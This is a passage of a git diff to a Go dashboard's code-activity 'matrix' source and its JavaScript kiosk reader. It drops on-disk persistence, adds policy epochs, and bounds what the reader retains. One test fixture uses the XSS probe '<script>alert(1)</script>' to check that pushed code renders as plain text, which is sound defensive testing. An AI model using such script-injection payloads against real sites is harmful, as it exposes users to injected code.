across restarts and a kiosk -// never sees seq go backwards (matrix.js resets on that). -type matrixPersistFile struct { - Seq uint64 `json:"seq"` - Lines []matrixLine `json:"lines"` -} - // matrixMaxDedupHashes caps dedup hashes across every tracked PR; a var so // tests can exercise the bound without 100k lines. var matrixMaxDedupHashes = 100000 @@ -67,15 +52,27 @@ type matrixPRState struct { touched time.Time } +type matrixQueuedObservation struct { + observation github.SentinelPatchObservation + epoch string +} + // matrixSource turns sentinel patch observations into a bounded, scrubbed, -// de-duplicated in-memory backlog. Observe never blocks; one goroutine does -// all the parsing. Nothing is written to disk. +// de-duplicated in-memory backlog. It owns the shared observer queue and its +// legacy line projection. Observe never blocks; one goroutine does all the +// parsing. Nothing is written to disk. type matrixSource struct { - cfg atomic.Pointer[config.MatrixConfig] - in chan github.SentinelPatchObservation - dropped atomic.Uint64 - logger *slog.Logger - now func() time.Time + checkpoints *checkpointSource + // policyMu is held exclusively by setConfig and shared by observers, so + // concurrent Observe calls never contend with each other; only a policy + // update in flight makes an observer back off. + policyMu sync.RWMutex + queuedEpoch atomic.Pointer[string] + cfg atomic.Pointer[config.MatrixConfig] + in chan matrixQueuedObservation + dropped atomic.Uint64 + logger *slog.Logger + now func() time.Time startOnce sync.Once stopOnce sync.Once @@ -99,11 +96,6 @@ type matrixSource struct { // /api/matrix/lines so the kiosk can tell "no pushes" from "no ingest". ingestAt atomic.Int64 ingestEvery atomic.Int64 - - // persistPath, when set, receives the newest matrixPersistLines lines - // and the sequence counter after every ingest that added lines and on - // reset; restore reads it back on construction. - persistPath string } func newMatrixSource(cfg config.MatrixConfig, logger *slog.Logger) *matrixSource { @@ -111,7 +103,7 @@ func newMatrixSource(cfg config.MatrixConfig, logger *slog.Logger) *matrixSource logger = slog.Default() } m := &matrixSource{ - in: make(chan github.SentinelPatchObservation, matrixIngestCap), + in: make(chan matrixQueuedObservation, matrixIngestCap), logger: logger, now: time.Now, stop: make(chan struct{}), @@ -119,15 +111,50 @@ func newMatrixSource(cfg config.MatrixConfig, logger *slog.Logger) *matrixSource ring: make([]matrixLine, 0, matrixBacklogCap), prs: make(map[string]*matrixPRState), } + m.checkpoints = newCheckpointSource(cfg) m.setConfig(cfg) return m } +// samePolicy reports whether cfg matches the policy already in force. The +// reader poll refreshes the policy on every GET, so an unchanged policy must +// not take the exclusive lock that makes observers back off. +func (m *matrixSource) samePolicy(cfg config.MatrixConfig) bool { + cur := m.cfg.Load() + return cur != nil && m.queuedEpoch.Load() != nil && cur.Enabled == cfg.Enabled && + slices.Equal(cur.Repos, cfg.Repos) && slices.Equal(cur.ExcludePaths, cfg.ExcludePaths) +} + func (m *matrixSource) setConfig(cfg config.MatrixConfig) { + if m.samePolicy(cfg) { + return + } + m.policyMu.Lock() + defer m.policyMu.Unlock() + if m.samePolicy(cfg) { + return + } c := cfg c.Repos = append([]string(nil), cfg.Repos...) c.ExcludePaths = append([]string(nil), cfg.ExcludePaths...) m.cfg.Store(&c) + if m.checkpoints != nil { + epoch := m.checkpoints.policyEpoch() + m.checkpoints.configure(c) + nextEpoch := m.checkpoints.policyEpoch() + m.queuedEpoch.Store(&nextEpoch) + if epoch != nextEpoch { + m.reset() + // Drop queued code as well as admitted code on policy changes. + for { + select { + case <-m.in: + default: + return + } + } + } + } } // admits applies the observation-level gates: Matrix active, hive-identified @@ -138,14 +165,21 @@ func (m *matrixSource) admits(obs github.SentinelPatchObservation) bool { } // Observe is the sentinel PatchObserver. It gates the observation, then hands -// it off without blocking: when the ingest channel is full the observation -// is dropped and counted. +// it off without blocking: when a policy update is in flight or the ingest +// channel is full the observation is dropped and counted. Observers hold the +// policy read lock, so sweeps running many observers at once do not drop +// each other. func (m *matrixSource) Observe(obs github.SentinelPatchObservation) { + if !m.policyMu.TryRLock() { + m.dropped.Add(1) + return + } + defer m.policyMu.RUnlock() if !m.admits(obs) { return } select { - case m.in <- obs: + case m.in <- matrixQueuedObservation{observation: obs, epoch: *m.queuedEpoch.Load()}: default: m.dropped.Add(1) } @@ -168,112 +202,49 @@ func (m *matrixSource) run() { select { case <-m.stop: return - case obs := <-m.in: - if m.safeIngest(obs) > 0 { - m.persist() + case queued := <-m.in: + if queued.epoch != m.checkpoints.policyEpoch() { + // Queued under a policy that no longer applies: neither + // projection ingests it. setConfig already reset the + // legacy backlog for the same change, so admitting the + // stale observation there would leak code the new policy + // never saw. + continue + } + before := m.Latest() + added := m.checkpoints.ingest(queued.observation, queued.epoch, m.now()) + m.safeIngest(queued.observation) + if added > 0 && m.Latest() == before { + // Deletion-only checkpoints also wake the reader. The frame + // contains only the legacy sequence hint, never code. + m.nudgeCheckpoint() } } } } -func (m *matrixSource) safeIngest(obs github.SentinelPatchObservation) (added int) { +func (m *matrixSource) nudgeCheckpoint() { defer func() { - if r := recover(); r != nil { - added = 0 - m.logger.Warn("matrix line source dropped an observation after a panic", "repo", obs.Repo, "number", obs.Number, "panic", fmt.Sprint(r)) + if recover() != nil { + m.logger.Warn("checkpoint notification failed") } }() - return m.ingest(obs) -} - -// restore loads the persisted backlog: the lines refill the ring oldest -// first, the sequence counter resumes from the file, and each line's hash -// re-enters its PR's dedup set so re-observing the same head after a -// restart adds nothing. A missing file is the normal first boot; a -// malformed one is logged and ignored. -func (m *matrixSource) restore() { - if m.persistPath == "" { - return - } - raw, err := os.ReadFile(m.persistPath) - if err != nil { - if !errors.Is(err, os.ErrNotExist) { - m.logger.Warn("matrix line source: state file unreadable; starting empty", "path", m.persistPath, "error", err) - } - return - } - var f matrixPersistFile - if err := json.Unmarshal(raw, &f); err != nil { - m.logger.Warn("matrix line source: state file malformed; starting empty", "path", m.persistPath, "error", err) - return - } - if len(f.Lines) > matrixPersistLines { - f.Lines = f.Lines[len(f.Lines)-matrixPersistLines:] - } - now := m.now() m.mu.Lock() - defer m.mu.Unlock() - var last uint64 - for _, l := range f.Lines { - if l.Line == "" || l.Seq <= last { - continue - } - last = l.Seq - m.appendLocked(l) - key := l.Repo + "#" + strconv.Itoa(l.PR) - st := m.prs[key] - if st == nil { - st = &matrixPRState{hashes: make(map[[sha256.Size]byte]time.Time)} - m.prs[key] = st - } - st.touched = now - if st.head != l.Head { - st.head = l.Head - st.headCount = 0 - } - h := sha256.Sum256([]byte(l.Path + "\x00" + l.Line)) - if _, dup := st.hashes[h]; !dup { - m.totalHashes++ - } - st.hashes[h] = l.At - st.headCount++ - } - m.seq = max(f.Seq, last) - if m.seq > 0 { - m.logger.Info("matrix line source restored", "lines", len(m.ring), "seq", m.seq) + seq, notify := m.seq, m.notify + m.mu.Unlock() + if notify != nil { + notify(seq) } } -// persist writes the newest matrixPersistLines lines and the sequence -// counter to persistPath atomically. It snapshots under the lock and writes -// outside it; no path is a no-op. -func (m *matrixSource) persist() { - if m.persistPath == "" { - return - } - m.mu.Lock() - n := len(m.ring) - start := 0 - if n > matrixPersistLines { - start = n - matrixPersistLines - } - f := matrixPersistFile{Seq: m.seq, Lines: make([]matrixLine, 0, n-start)} - for i := start; i < n; i++ { - f.Lines = append(f.Lines, m.ring[(m.next+i)%n]) - } - m.mu.Unlock() - raw, err := json.Marshal(f) - if err != nil { - return - } - tmp := m.persistPath + ".tmp" - err = os.WriteFile(tmp, raw, 0o644) - if err == nil { - err = os.Rename(tmp, m.persistPath) - } - if err != nil { - m.logger.Warn("matrix line source: state file write failed", "path", m.persistPath, "error", err) - } +func (m *matrixSource) safeIngest(obs github.SentinelPatchObservation) (added int) { + defer func() { + if r := recover(); r != nil { + added = 0 + m.logger.Warn("matrix line source dropped an observation after a panic", "repo", obs.Repo, "number", obs.Number) + } + }() + return m.ingest(obs) } // ingest filters one observation into the backlog and returns how many lines @@ -446,12 +417,12 @@ func (m *matrixSource) Latest() uint64 { // never sees a sequence number reused. func (m *matrixSource) reset() { m.mu.Lock() + clear(m.ring) m.ring = m.ring[:0] m.next = 0 m.prs = make(map[string]*matrixPRState) m.totalHashes = 0 m.mu.Unlock() - m.persist() } // recordIngest notes that an ingest pass finished at `at` and the next one @@ -505,8 +476,6 @@ func (s *Server) MatrixObserver(cfg config.MatrixConfig) func(github.SentinelPat } if s.matrix == nil { s.matrix = newMatrixSource(cfg, s.logger) - s.matrix.persistPath = s.matrixPersistPath - s.matrix.restore() s.matrix.setNotify(s.nudgeMatrixLines) s.matrix.start() } else { @@ -532,24 +501,3 @@ func (s *Server) RecordMatrixIngest(at time.Time, every time.Duration) { } m.recordIngest(at, every) } - -// SetMatrixPersistPath names the file the Matrix line source keeps its -// newest lines and sequence counter in (#16276), so a restart refills the -// kiosk instead of showing it empty until the next sweep. It must be called -// before the first active MatrixObserver; empty keeps the source in-memory. -func (s *Server) SetMatrixPersistPath(path string) { - if s == nil { - return - } - s.matrixMu.Lock() - defer s.matrixMu.Unlock() - s.matrixPersistPath = path - // A source that already exists but has nothing yet can still take the - // backlog; one with lines keeps them and only persists from here on. - if s.matrix != nil && s.matrix.persistPath == "" && path != "" { - s.matrix.persistPath = path - if s.matrix.Latest() == 0 { - s.matrix.restore() - } - } -} diff --git a/src/pkg/dashboard/reader_ui_test.go b/src/pkg/dashboard/reader_ui_test.go index 88b566c977..2a7d8a3acb 100644 --- a/src/pkg/dashboard/reader_ui_test.go +++ b/src/pkg/dashboard/reader_ui_test.go @@ -23,7 +23,7 @@ func TestReaderUIWiring(t *testing.T) { t.Errorf("reader.js contains forbidden sink/effect %q", forbidden) } } - for _, want := range []string{"visibilitychange", "prefers-reduced-motion: reduce", "'/api/matrix/lines?since='", "source.addEventListener('code-lines'", "'wheel'", "'touchstart'"} { + for _, want := range []string{"visibilitychange", "prefers-reduced-motion: reduce", "'&format=regions'", "source.addEventListener('code-lines'", "'wheel'", "'touchstart'", "'\\u2212 '"} { if !strings.Contains(js, want) { t.Errorf("reader.js missing %q", want) } @@ -103,12 +103,11 @@ const first = [ {seq: 3, repo: 'org/repo', pr: 2, head: 'abc', path: 'main.go', line: '\tx := 1', at}, {seq: 4, repo: 'org/repo', pr: 2, head: 'abc', path: 'main.go', line: '\tx := 1', at}, {seq: 5, repo: 'org/repo', pr: 2, head: 'abc', path: 'main.go', line: ' old()', op: '-', at}, - {seq: 6, repo: 'org/other', pr: 7, head: 'def', path: 'README.md', line: 'a very long line '.repeat(40), pr_url: 'https://example.test/review/7', at}, + {seq: 6, repo: 'org/other', pr: 7, head: 'def', path: 'README.md', line: 'a very long line '.repeat(40), pr_url: 'https://github.com/org/other/pull/7', at}, ]; async function scenario(query, opts = {}) { const docEvents = {}, timers = new Map(), requests = [], scrolls = [], sse = {}; - // page caps each response like the server does; seq always reports the newest line held. - let id = 0, status = opts.status || 200, seq = 6, lines = first, page = opts.page || Infinity; + let id = 0, status = opts.status || 200, seq = 6, lines = first; const elements = []; function el(tag) { const e = {tagName: tag.toUpperCase(), children: [], listeners: {}, attrs: {}, className: '', textContent: '', hidden: false, scrollTop: 0, offsetHeight: 10, classList: {add(){}}, @@ -125,52 +124,84 @@ async function scenario(query, opts = {}) { localStorage: {getItem(){return null}, setItem(){}}, requestAnimationFrame(){throw new Error('reader must not animate frames')}, setTimeout(fn){timers.set(++id, fn); return id}, clearTimeout(i){timers.delete(i)}, setInterval(){}, dashboardSetInterval(){}, - fetch(url){requests.push(url); const body = {seq, source: 'pushed-lines', lines: lines.slice(0, page)}; lines = lines.slice(page); + fetch(url){requests.push(url); const regions = []; + lines.forEach(line => { + let last = regions[regions.length - 1]; + if (!last || last.path !== line.path || last.repo !== line.repo) regions.push(last = {...line, seq: line.seq, lines: []}); + last.lines.push({op: line.op || '+', line: line.line}); + }); + let body = {seq, latest: seq, epoch: 'policy-1', source: 'Pushed PR', regions}; lines = []; + if (opts.pages && opts.pages.length) body = opts.pages.shift(); return Promise.resolve({status, ok: status === 200, json(){return Promise.resolve(body)}})}, Date, Math}); vm.runInContext(reader, c); c.hiveReaderStart = win.hiveReaderStart; vm.runInContext(boot, c); for (const fn of docEvents.DOMContentLoaded || []) fn(); - const flush = async () => {for (let i = 0; i < 12; i++) await Promise.resolve()}; + const flush = async () => {for (let i = 0; i < 64; i++) await Promise.resolve()}; await flush(); if (!win.HIVE_READER) {assert.equal(requests.length, 0); assert(!doc.getElementById('hive-reader')); return;} const byClass = n => elements.find(e => e.className === n); const feed = byClass('reader-feed'), statusEl = byClass('reader-status'), button = byClass('reader-pause'); const fire = () => {assert.equal(timers.size, 1); const [k, fn] = [...timers][0]; timers.delete(k); fn()}; const key = (key, code) => docEvents.keydown[0]({key, code, target: doc.body, preventDefault(){}}); - assert.equal(requests[0], '/api/matrix/lines?since=0'); + assert.equal(requests[0], '/api/matrix/lines?since=0&format=regions'); if (status !== 200) { assert.equal(feed.children.length, 0); assert.equal(timers.size, 0); assert(statusEl.textContent.includes(status === 404 ? 'not enabled' : 'Sign in')); return; } const meta = card => card.children[0].children, rows = card => card.children[1].children.map(r => r.textContent); + if (opts.boundaries) { + // Two complete regions in one file remain separate across pages. The + // reader follows continuation rather than skipping to source.latest. + assert.equal(requests.length, 2); + assert.equal(requests[1], '/api/matrix/lines?since=1&format=regions'); + assert.equal(feed.children.length, 2); + assert.deepEqual(rows(feed.children[0]), ['+ one\n']); + assert.deepEqual(rows(feed.children[1]), ['βˆ’ two\n']); + assert.equal(meta(feed.children[1])[3].textContent, 'Buffered snapshot'); + win.hiveReaderAttach({addEventListener(n, fn){sse[n] = fn}}); + opts.pages.push({seq: 3, latest: 3, epoch: 'policy-2', regions: [{repo: 'org/repo', pr: 2, path: 'main.go', seq: 3, at, lines: [{op: '+', line: 'new policy'}]}]}); + sse['code-lines'](); await flush(); + assert.equal(feed.children.length, 1); + assert.deepEqual(rows(feed.children[0]), ['+ new policy\n']); + byClass('reader-pause reader-replay').listeners.click(); + assert.equal(feed.children.length, 1); // old policy is gone from replay too + assert.deepEqual(rows(feed.children[0]), ['+ new policy\n']); + // Busy feeds evict whole regions under line, text and viewport bounds. + const base = {repo: 'org/repo', pr: 2, path: 'main.go', at}; + opts.pages.push({seq: 10, latest: 10, epoch: 'policy-2', regions: Array.from({length: 7}, (_, i) => ({...base, seq: i + 4, lines: Array.from({length: 200}, () => ({op: '+', line: 'bounded line'}))}))}); + sse['code-lines'](); await flush(); + assert(feed.children.reduce((n, card) => n + rows(card).length, 0) <= 1200); + assert(feed.children.every(card => rows(card).length === 1 || rows(card).length === 200)); + opts.pages.push({seq: 50, latest: 50, epoch: 'policy-2', regions: Array.from({length: 40}, (_, i) => ({...base, seq: i + 11, lines: [{op: '+', line: 'one'}]}))}); + sse['code-lines'](); await flush(); assert.equal(feed.children.length, 32); + opts.pages.push({seq: 70, latest: 70, epoch: 'policy-2', regions: Array.from({length: 20}, (_, i) => ({...base, seq: i + 51, lines: [{op: '+', line: 'safe '.repeat(3000)}]}))}); + sse['code-lines'](); await flush(); + assert(feed.children.reduce((n, card) => n + rows(card).join('').length * 2, 0) < 256 * 1024); + status = 404; sse['code-lines'](); await flush(); + assert.equal(feed.children.length, 0); + return; + } + const checkFirst = card => { // One contiguous region: blank, indented and repeated lines kept as text. assert.deepEqual(rows(card), ['+ <script>alert(1)</script>\n', '+ \n', '+ \tx := 1\n', '+ \tx := 1\n', '\u2212 old()\n']); assert.equal(card.children[1].tagName, 'PRE'); assert.deepEqual(card.children[1].children.map(r => r.className), ['reader-line reader-add', 'reader-line reader-add', 'reader-line reader-add', 'reader-line reader-add', 'reader-line reader-del']); - const [repo, file, stage, time] = meta(card); + const [repo, file, stage, delivery, time] = meta(card); assert.equal(repo.tagName, 'A'); assert.equal(repo.textContent, 'org/repo #2'); assert.equal(repo.href, 'https://github.com/org/repo/pull/2'); assert.equal(repo.attrs.rel, 'noopener noreferrer'); - assert.equal(file.textContent, 'main.go'); assert.equal(stage.textContent, 'pushed'); + assert.equal(file.textContent, 'main.go'); assert.equal(stage.textContent, 'Pushed PR'); assert.equal(delivery.textContent, 'Buffered snapshot'); assert.equal(time.tagName, 'TIME'); assert.equal(time.attrs.datetime, '2026-11-03T12:00:00.000Z'); assert(time.textContent.startsWith('observed ')); }; const checkSecond = card => { - assert.equal(meta(card)[0].href, 'https://example.test/review/7'); + assert.equal(meta(card)[0].href, 'https://github.com/org/other/pull/7'); assert.equal(meta(card)[1].textContent, 'README.md'); assert.equal(rows(card)[0], '+ ' + 'a very long line '.repeat(40) + '\n'); }; win.hiveReaderAttach({addEventListener(n, fn){sse[n] = fn}}); - if (opts.page) { - // A capped page resumes from the last returned line, not the newest seq, - // so no line is skipped and the region stays one contiguous card. - await flush(); - assert.deepEqual(requests, ['/api/matrix/lines?since=0', '/api/matrix/lines?since=2', '/api/matrix/lines?since=4']); - assert.equal(feed.children.length, 2); checkFirst(feed.children[0]); checkSecond(feed.children[1]); - return; - } if (opts.reduced) { // Static and scrollable: everything shown at once, nothing scheduled or scrolled. assert.equal(feed.children.length, 2); assert.equal(timers.size, 0); assert.equal(scrolls.length, 0); @@ -187,7 +218,7 @@ async function scenario(query, opts = {}) { // Incoming work queues behind the paragraph being read. lines = [{seq: 7, repo: 'org/repo', pr: 2, head: 'abc', path: 'b.go', line: 'next', at}]; seq = 7; sse['code-lines'](); await flush(); - assert.equal(requests.at(-1), '/api/matrix/lines?since=6'); + assert.equal(requests.at(-1), '/api/matrix/lines?since=6&format=regions'); assert.equal(feed.children.length, 1); assert.equal(timers.size, 1); // P pauses and resumes; the button mirrors it. key('p'); assert.equal(timers.size, 0); assert.equal(button.textContent, 'Resume'); @@ -200,14 +231,18 @@ async function scenario(query, opts = {}) { byClass('reader-scroll').listeners.touchstart(); assert.equal(timers.size, 0); button.listeners.click(); key('PageDown'); assert.equal(timers.size, 0); button.listeners.click(); assert.equal(timers.size, 1); - // A hidden tab stops all motion. - doc.hidden = true; docEvents.visibilitychange.forEach(fn => fn()); assert.equal(timers.size, 0); - doc.hidden = false; docEvents.visibilitychange.forEach(fn => fn()); await flush(); + // Quiet hold after consuming the queued paragraph; no automatic replay. fire(); assert.equal(feed.children.length, 3); assert.equal(rows(feed.children[2])[0], '+ next\n'); - // Caught up: a quiet hold with no replay or filler. - fire(); assert.equal(timers.size, 0); assert.equal(feed.children.length, 3); - assert(statusEl.textContent.includes('Caught up')); + fire(); assert.equal(timers.size, 0); assert(statusEl.textContent.includes('Caught up')); sse['code-lines'](); await flush(); assert.equal(timers.size, 0); assert.equal(feed.children.length, 3); + // Replay requires a deliberate click and is labelled on every card. + byClass('reader-pause reader-replay').listeners.click(); + assert.equal(feed.children.length, 1); assert.equal(meta(feed.children[0])[3].textContent, 'Replay Β· buffered snapshot'); + doc.hidden = true; docEvents.visibilitychange.forEach(fn => fn()); + assert.equal(timers.size, 0); assert.equal(feed.children.length, 0); + doc.hidden = false; docEvents.visibilitychange.forEach(fn => fn()); await flush(); + assert.equal(feed.children.length, 0); assert(statusEl.textContent.includes('No buffered checkpoints')); + assert(byClass('reader-freshness').textContent.includes('empty does not mean no work')); status = 403; sse['code-lines'](); await flush(); assert.equal(feed.children.length, 0); assert(statusEl.textContent.includes('Sign in')); } @@ -215,7 +250,11 @@ async function scenario(query, opts = {}) { await scenario(''); await scenario('?view=reader'); await scenario('?kiosk=1'); await scenario('?kiosk=1&view=matrix'); await scenario('?kiosk=1&view=reader'); await scenario('?kiosk=1&view=reader', {reduced: true}); - await scenario('?kiosk=1&view=reader', {reduced: true, page: 2}); + const region = {repo: 'org/repo', pr: 2, path: 'main.go', at}; + await scenario('?kiosk=1&view=reader', {reduced: true, boundaries: true, pages: [ + {seq: 1, latest: 2, epoch: 'policy-1', regions: [{...region, seq: 1, lines: [{op: '+', line: 'one'}]}]}, + {seq: 2, latest: 2, epoch: 'policy-1', regions: [{...region, seq: 2, lines: [{op: '-', line: 'two'}]}]}, + ]}); for (const status of [404, 401, 403]) await scenario('?kiosk=1&view=reader', {status}); })().catch(e => {console.error(e); process.exit(1)}); ` diff --git a/src/pkg/dashboard/server.go b/src/pkg/dashboard/server.go index 78b8f15f1f..62a6fc0255 100644 --- a/src/pkg/dashboard/server.go +++ b/src/pkg/dashboard/server.go @@ -119,10 +119,9 @@ type Server struct { // matrix is the dashboard.matrix line source (matrix_source.go); nil // until MatrixObserver is called with an active config. - matrixMu sync.Mutex - matrix *matrixSource - matrixNudge stageTrackerNudger - matrixPersistPath string + matrixMu sync.Mutex + matrix *matrixSource + matrixNudge stageTrackerNudger port int authToken string @@ -1979,6 +1978,9 @@ code{color:#e6edf3} // empty role and never block a read-only viewer's writes.) func (s *Server) authenticate(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/api/matrix/lines" { + w.Header().Set("Cache-Control", "no-store") + } directRouteAuthz := s.directRouteAuthzEnabled() // FAIL CLOSED: a spoke with an authorized_users allowlist (direct-route) diff --git a/src/pkg/dashboard/static-src/js/reader.js b/src/pkg/dashboard/static-src/js/reader.js index 5a3130d774..58a1d473fb 100644 --- a/src/pkg/dashboard/static-src/js/reader.js +++ b/src/pkg/dashboard/static-src/js/reader.js @@ -13,9 +13,8 @@ if (!window.HIVE_READER || document.getElementById('hive-reader')) return; // Cards kept on screen, regions waiting to be read, and how long one // paragraph stays in focus before the next arrives. - var MAX_CARDS = 60, MAX_PENDING = 40, BASE_DWELL = 5000, LINE_DWELL = 600, MAX_DWELL = 30000; + var MAX_CARDS = 32, MAX_LINES = 1200, MAX_BYTES = 256 * 1024, BASE_DWELL = 5000, LINE_DWELL = 600, MAX_DWELL = 30000; var NAV_KEYS = ['ArrowUp', 'ArrowDown', 'PageUp', 'PageDown', 'Home', 'End']; - var STAGES = {'pushed-lines': 'pushed'}; var root = document.createElement('main'); root.id = 'hive-reader'; root.setAttribute('aria-label', 'Code activity reader'); @@ -35,32 +34,44 @@ button.setAttribute('type', 'button'); button.setAttribute('aria-pressed', 'false'); button.setAttribute('title', 'Pause or resume (P / Space)'); + var replay = element('button', 'reader-pause reader-replay', 'Replay buffered snapshot', bar); + replay.setAttribute('type', 'button'); + replay.setAttribute('title', 'Explicit replay of retained changes; off by default'); + var freshness = element('span', 'reader-freshness', 'Source has not completed an ingest pass', bar); var scroller = element('div', 'reader-scroll'); scroller.setAttribute('tabindex', '0'); var feed = element('div', 'reader-feed', '', scroller); var motion = window.matchMedia('(prefers-reduced-motion: reduce)'); var pending = [], current = null, readUntil = 0, timer = 0, lastSeq = 0; + var retained = [], retainedLines = 0, retainedBytes = 0, epoch = '', snapshotThrough = null, contentGeneration = 0; var enabled = false, manualPause = false, loading = false, again = false, problem = ''; function paused(){ return manualPause || document.hidden; } - function regionKey(line){ return [line.repo, line.pr, line.head || '', line.path].join('\u0000'); } - // Consecutive lines of one file at one head form one contiguous region; - // a gap in seq (a dropped line or another file) starts a new one. Only - // unread regions grow, so a paragraph on screen never changes. - function group(lines, stage){ - lines.forEach(function(line){ - var last = pending[pending.length - 1], seq = Number(line.seq) || 0; - if (last && last.key === regionKey(line) && seq && seq === last.lastSeq + 1) { - last.lines.push(line); last.lastSeq = seq; last.at = line.at; - return; + // The source supplies indivisible regions. Never infer a paragraph from + // neighbouring sequence numbers or merge across context/page boundaries. + function group(regions){ + regions.forEach(function(region){ + if (!region || !Array.isArray(region.lines) || !region.lines.length) return; + if (!region.lines.every(function(line){ return line && typeof line.line === 'string' && (line.op === '+' || line.op === '-'); })) return; + var size = region.lines.reduce(function(n, line){ return n + line.line.length * 2; }, 0); + if (region.lines.length > MAX_LINES || size > MAX_BYTES) return; + var item = {repo: region.repo, pr: region.pr, path: region.path, prURL: region.pr_url, + stage: 'Pushed PR', at: region.at, lines: region.lines, size: size, + delivery: Number(region.seq) <= snapshotThrough ? 'Buffered snapshot' : 'Newly received checkpoint'}; + retained.push(item); pending.push(item); + retainedLines += item.lines.length; retainedBytes += size; + while (retainedLines > MAX_LINES || retainedBytes > MAX_BYTES) { + var victim = retained.findIndex(function(r){ return r !== current; }); + var old = retained.splice(victim, 1)[0]; + retainedLines -= old.lines.length; retainedBytes -= old.size; + pending = pending.filter(function(r){ return r !== old; }); + if (old.node) { feed.removeChild(old.node); old.node = null; } + if (current === old) current = null; } - pending.push({key: regionKey(line), repo: line.repo, pr: Number(line.pr) || 0, path: line.path, - stage: stage, prUrl: line.pr_url, lines: [line], lastSeq: seq, at: line.at}); }); - if (pending.length > MAX_PENDING) pending = pending.slice(-MAX_PENDING); } - // Prefer an https pr_url from the source; otherwise derive the link from repo and PR number. function prLink(region){ - if (typeof region.prUrl === 'string' && /^https:\/\/[^\s<>"']+$/.test(region.prUrl)) return region.prUrl; + var url = typeof region.prURL === 'string' ? region.prURL : ''; + if (/^https:\/\/[^\s"'<>]+\/pull\/\d+$/.test(url)) return url; if (/^[\w.-]+\/[\w.-]+$/.test(region.repo || '') && region.pr > 0) { return 'https://github.com/' + region.repo + '/pull/' + region.pr; } @@ -87,14 +98,15 @@ } element('span', 'reader-file', region.path, meta); element('span', 'reader-stage', region.stage, meta); + element('span', 'reader-delivery', region.delivery, meta); var when = observed(region.at); var time = element('time', 'reader-time', when.text, meta); if (when.iso) time.setAttribute('datetime', when.iso); var diff = element('pre', 'reader-diff', '', article); region.lines.forEach(function(line){ - var del = line.op === '-'; - var row = element('span', 'reader-line ' + (del ? 'reader-del' : 'reader-add'), '', diff); - row.textContent = (del ? '\u2212' : line.op || '+') + ' ' + line.line + '\n'; + var removed = line.op === '-'; + var row = element('span', 'reader-line ' + (removed ? 'reader-del' : 'reader-add'), '', diff); + row.textContent = (removed ? '\u2212 ' : '+ ') + line.line + '\n'; }); return article; } @@ -104,6 +116,7 @@ while (feed.children.length > MAX_CARDS) { var first = feed.children[0], height = first.offsetHeight || 0; feed.removeChild(first); + retained.forEach(function(r){ if (r.node === first) r.node = null; }); scroller.scrollTop = Math.max(0, (scroller.scrollTop || 0) - height); } } @@ -119,7 +132,7 @@ var text = problem; if (!text && enabled) { if (pending.length) text = pending.length + (pending.length === 1 ? ' change' : ' changes') + ' waiting'; - else text = current ? 'Caught up Β· holding until new changes are pushed' : 'Waiting for pushed changes…'; + else text = current ? 'Caught up with available checkpoints Β· holding' : 'No buffered checkpoints Β· source may still be warming or filtering'; } if (paused()) text = 'paused' + (text ? ' Β· ' + text : ''); status.textContent = text; @@ -165,51 +178,55 @@ } function inspect(){ setPaused(true); } function clearContent(message){ + contentGeneration++; stop(); - enabled = false; pending = []; current = null; lastSeq = 0; problem = message; + enabled = false; pending = []; retained = []; retainedLines = 0; retainedBytes = 0; + current = null; lastSeq = 0; snapshotThrough = null; problem = message; feed.replaceChildren(); updateStatus(); } pull = function(){ + if (document.hidden) return; if (loading) { again = true; return; } loading = true; again = false; - fetch('/api/matrix/lines?since=' + lastSeq, {cache: 'no-store', credentials: 'same-origin'}) + var requestGeneration = contentGeneration; + fetch('/api/matrix/lines?since=' + lastSeq + '&format=regions', {cache: 'no-store', credentials: 'same-origin'}) .then(function(response){ + if (requestGeneration !== contentGeneration || document.hidden) return null; if (response.status === 404) { clearContent('The code activity reader is not enabled on this hive'); return null; } if (response.status === 401 || response.status === 403) { clearContent('Sign in with permission to read code activity'); return null; } if (!response.ok) throw new Error('reader pull failed'); return response.json(); }).then(function(data){ - if (!data) return; + if (!data || requestGeneration !== contentGeneration || document.hidden) return; var seq = Number(data.seq) || 0; - // A restarted hive can reset its sequence; start over cleanly. - if (seq < lastSeq) { stop(); pending = []; current = null; lastSeq = 0; feed.replaceChildren(); } - var raw = Array.isArray(data.lines) ? data.lines : []; - var incoming = raw.filter(function(line){ - return line && typeof line.line === 'string' && typeof line.repo === 'string' && typeof line.path === 'string'; - }); - var source = typeof data.source === 'string' ? data.source : ''; - group(incoming, STAGES[source] || source || 'pushed'); - // data.seq is the newest line the hive holds, not the last one in - // this page: the server caps a page, so resume from the last line - // returned and pull again until the page reaches the newest seq. - var returned = raw.length ? Number(raw[raw.length - 1] && raw[raw.length - 1].seq) || 0 : 0; - var more = returned > 0 && returned < seq; - lastSeq = more ? returned : seq; + if (data.epoch !== epoch || seq < lastSeq) { + clearContent(''); epoch = data.epoch; + } + if (snapshotThrough === null) snapshotThrough = Number(data.latest) || 0; + group(Array.isArray(data.regions) ? data.regions : []); + freshness.textContent = data.last_ingest_at + ? 'Last source pass: ' + data.last_ingest_at + ' Β· next expected in ' + (data.next_ingest_in_s || 0) + 's' + : 'Source has not completed an ingest pass Β· empty does not mean no work'; + if (seq < Number(data.latest)) again = true; + lastSeq = seq; enabled = true; problem = ''; - // Hold the reveal while catching up so a region split across - // pages still arrives as one paragraph. - if (more) { again = true; updateStatus(); return; } schedule(false); - }).catch(function(){ problem = 'Code activity unavailable Β· retrying'; updateStatus(); }) + }).catch(function(){ clearContent('Code activity unavailable Β· retrying'); }) .finally(function(){ loading = false; if (again) pull(); }); }; + replay.addEventListener('click', function(){ + if (!enabled || !retained.length) return; + stop(); feed.replaceChildren(); current = null; readUntil = 0; + retained.forEach(function(r){ r.node = null; r.delivery = 'Replay Β· buffered snapshot'; }); + pending = retained.slice(); schedule(false); + }); button.addEventListener('click', function(){ setPaused(!manualPause); }); scroller.addEventListener('wheel', inspect, {passive: true}); scroller.addEventListener('touchstart', inspect, {passive: true}); document.addEventListener('visibilitychange', function(){ - if (document.hidden) { stop(); updateStatus(); return; } - schedule(true); pull(); + if (document.hidden) { clearContent('Hidden Β· buffered code cleared'); return; } + pull(); }); document.addEventListener('keydown', function(event){ var target = event.target || {}; diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 3d9a4bdb95..d32c59f71a 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -7503,9 +7503,8 @@ if (!window.HIVE_READER || document.getElementById('hive-reader')) return; // Cards kept on screen, regions waiting to be read, and how long one // paragraph stays in focus before the next arrives. - var 